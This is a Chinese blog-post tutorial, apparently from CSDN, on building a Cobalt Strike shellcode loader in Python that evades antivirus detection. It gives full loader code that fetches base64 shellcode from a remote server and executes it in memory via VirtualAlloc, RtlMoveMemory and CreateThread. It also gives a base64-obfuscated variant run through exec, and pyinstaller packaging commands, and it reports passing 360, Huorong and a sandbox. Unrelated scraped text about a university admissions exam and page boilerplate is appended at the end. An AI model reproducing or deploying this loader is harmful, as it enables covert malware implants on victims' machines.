CS分离免杀实践


在这里插入图片描述
本次实践参考小刚师傅的教程,详细原理请看原文: https://mp.weixin.qq.com/

一、原理简述

          通过python requests远程下载经过base64编码后的shellcodeloader,然后解码通过exec函数先执行loader,通过loader加载shellcode,最终达到CS上线目的。

二、环境配置

  • python2.7
  • pyinstaller 3.0.0
  • win10

为了防止不同版本出现的幺蛾子,在此供上我的python安装包。
链接:https://pan.baidu.com/s/1ek3LYU8xqqjfQdqqt-dF8g
提取码:1v27

三、本地测试

1.生成shellcode

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
保留payload.c中的双引号部分内容,并将\x换为空,得到以fc开头的一串字符。之后将其base64编码放进服务器https://xxxxxxxx/1.txt备用。
在这里插入图片描述

2.代码变形

加载器源码如下:

import ctypes
import requests
import base64

#下载shellcode
scode = requests.get ("https://xxxxxxxx/1.txt")

# 解码转换为字节类型文件
shellcode = bytearray (base64.b64decode (scode.text).decode ('hex'))

# VirtualAlloc申请内存,并使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64(系统位数)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

# LPVOID VirtualAlloc{LPVOID lpAddress, #要分配的内存区域的地址
#                     DWORD dwSize,      #分配的大小
#                     DWORD flAllocationType, #分配的类型
#                     DWORD flProtect     #该内存的初始保护属性
#                     };

ptr = ctypes.windll.kernel32.VirtualAlloc (ctypes.c_int (0),
                                           ctypes.c_int (len (shellcode)),
                                           ctypes.c_int (0x3000),
                                           ctypes.c_int (0x40))
# 确定shellcode的大小
buf = (ctypes.c_char * len (shellcode)).from_buffer (shellcode)
# 从指定内存地址将内容复制到申请的内存中去
ctypes.windll.kernel32.RtlMoveMemory (ctypes.c_int (ptr),
                                      buf,
                                      ctypes.c_int (len (shellcode)))

# 创建线程
handle = ctypes.windll.kernel32.CreateThread (ctypes.c_int (0),
                                              ctypes.c_int (0),
                                              ctypes.c_uint64 (ptr),
                                              ctypes.c_int (0),
                                              ctypes.c_int (0),
                                              ctypes.pointer (ctypes.c_int (0)))

# 调用WaitForSingleObject函数用来检测线程的状态
ctypes.windll.kernel32.WaitForSingleObject (ctypes.c_int (handle), ctypes.c_int (-1))

变形后如下:

import ctypes
import requests
import base64

if __name__ == '__main__':
    scode = '''fc4883e................'''
    shellcode = bytearray (scode.decode('hex'))
    loader = '''Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MucmVzdHlwZSA9IGN0eXBlcy5jX3VpbnQ2NDtwdHIgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYyhjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSxjdHlwZXMuY19pbnQoMHgzMDAwKSxjdHlwZXMuY19pbnQoMHg0MCkpO2J1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSk7Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKTtoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZChjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX3VpbnQ2NChwdHIpLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKSk7Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkp'''
    exec (base64.b64decode(loader))

由于考虑到网络原因和python编码问题(request下载按照的是unicode编码,直接decode(‘hex’)要报错,可能和版本也有关系),可能有幺蛾子,所以就把shellcode和loader放在代码里了。

3.pyinstaller打包

需要事先装几个模块

python -m pip install requests
python -m pip install pyinstaller==3.0
python -m pip install pypiwin32

如果网速太慢的话就用国内的镜像,后面加几个命令,例如:

python -m pip install pypiwin32 -i http://mirrors.aliyun.com/pypi/simple/  --trusted-host mirrors.aliyun.com

之后打包:

pyinstaller -F local-anti.py -i Favicon.ico -w

关于pyinstaller这几个打包的参数说明如下:
在这里插入图片描述
在dist目录下生成local-anti.exe,运行成功上线:
在这里插入图片描述

4.免杀测试

360:
在这里插入图片描述
火绒:
在这里插入图片描述
微步沙箱:
在这里插入图片描述
看下来只有微软引擎报毒,看来还可以。

5.其他扩展

测试过程中发现如果在中文路径下存在无法运行的情况,经测试发现在pyinstaller == 2.0 的版本下可行。
image-20211109153644863
下载链接:https://files.pythonhosted.org/packages/52/e5/0ce68034f3441bda11538162796dac5a8e5873e8af5d23aaea65e81c7e51/pyinstaller-2.0.zip

直接解压在pyinstaller2.0的目录下运行打包,直接安装貌似会报错。

C:\Users\Administrator\Desktop\pyinstaller-2.0>python pyinstaller.py -F "C:\Users\Administrator\Desktop\1\shell.py" -w

之后就算是中文路径,也能够顺利执行了。

  • 0
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
哈工深cs预推免机试题是哈尔滨工业大学(深圳)计算机科学与技术专业预推免研究生的机试题目。根据题目提供的信息,我无法具体列举出所有的题目,但可以就预推免机试题的一般内容进行简要介绍。 预推免机试题一般包括以下几个方面的内容:数据结构与算法、计算机网络、操作系统、数据库和程序设计语言。在预推免机试中,会对考生的基础知识和能力进行测试,以确定是否具备进一步深入学习和研究的能力。 在数据结构与算法方面,可能会涉及到常见的数据结构,如数组、链表、栈、队列、树等,要求考生掌握它们的基本操作和应用场景。同时,还可能会涉及到各种算法,如排序算法、查找算法和图算法等,要求考生了解其原理和应用。 计算机网络方面的题目可能会涉及到网络体系结构、TCP/IP协议簇、网络编程等方面的内容,要求考生了解网络的基本原理和工作机制。 操作系统方面的题目可能会涉及到进程管理、内存管理、文件系统等内容,要求考生了解操作系统的基本原理和操作。 数据库方面的题目可能会涉及到数据库的基本概念、关系数据库的设计与管理、SQL语言等方面的内容,要求考生了解数据库的基本原理和应用。 程序设计语言方面的题目可能会涉及到C/C++、Java等常用编程语言的语法、数据类型、面向对象编程等内容,要求考生熟悉至少一种编程语言的基本知识和编程能力。 总的来说,哈工深cs预推免机试题的目的是评估考生的计算机科学与技术基础知识和能力,考察其是否具备进一步深入学习和研究的潜力。希望通过此次机试,能够选拔出具备优秀计算机专业基础的考生,为哈尔滨工业大学(深圳)计算机科学与技术专业的研究生培养贡献力量。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值